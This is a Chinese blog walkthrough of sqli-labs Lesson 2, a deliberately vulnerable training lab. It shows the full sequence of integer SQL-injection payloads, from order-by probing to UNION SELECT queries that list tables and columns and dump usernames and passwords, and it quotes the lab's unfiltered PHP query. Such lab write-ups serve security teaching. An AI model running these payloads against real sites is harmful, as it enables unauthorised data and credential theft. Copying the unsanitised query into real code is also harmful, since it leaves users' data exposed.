sqli-labs-master第二关:Error Based- Intiger(sqli-labs教程)

网友投稿 226 2022-10-11


sqli-labs-master第二关:Error Based- Intiger(sqli-labs教程)

接上篇博客:1 = 1 返回正常

and 1 = 1 %23

and 1 = 2 返回失败

and 1 = 2 %23

说明存在注入点:

order by  n 查看字段

当n=3时返回正确

order by 3  %23

当=4时返回错误

order by 4  %23

说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

union select 1,2,3  %23

通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字

我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

通过上图可以看到有users表

查看users表里的列

 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

接下来就是查看username和password里的内容:

 union select 1,username,password from users where id = 2 %23

结束:

接下来看看源代码:

Less-2 **Error Based- Intiger** Welcome    Dhakkan 
"; if($row) {    echo "";    echo 'Your Login name:'. $row['username'];    echo "
";    echo 'Your Password:' .$row['password'];    echo "";    } else  { echo ''; print_r(mysql_error()); echo "";   } } else {  echo "Please input the ID as parameter with numeric value"; } ?>  




通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这句,没有“''”符号。

利用方式大致相同。

第三关尽快更新


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:一个非常简单的WAF绕过。。(WAF绕过)
下一篇:SpringBoot+Spring Security无法实现跨域的解决方案
相关文章

 发表评论

暂时没有评论,来抢沙发吧~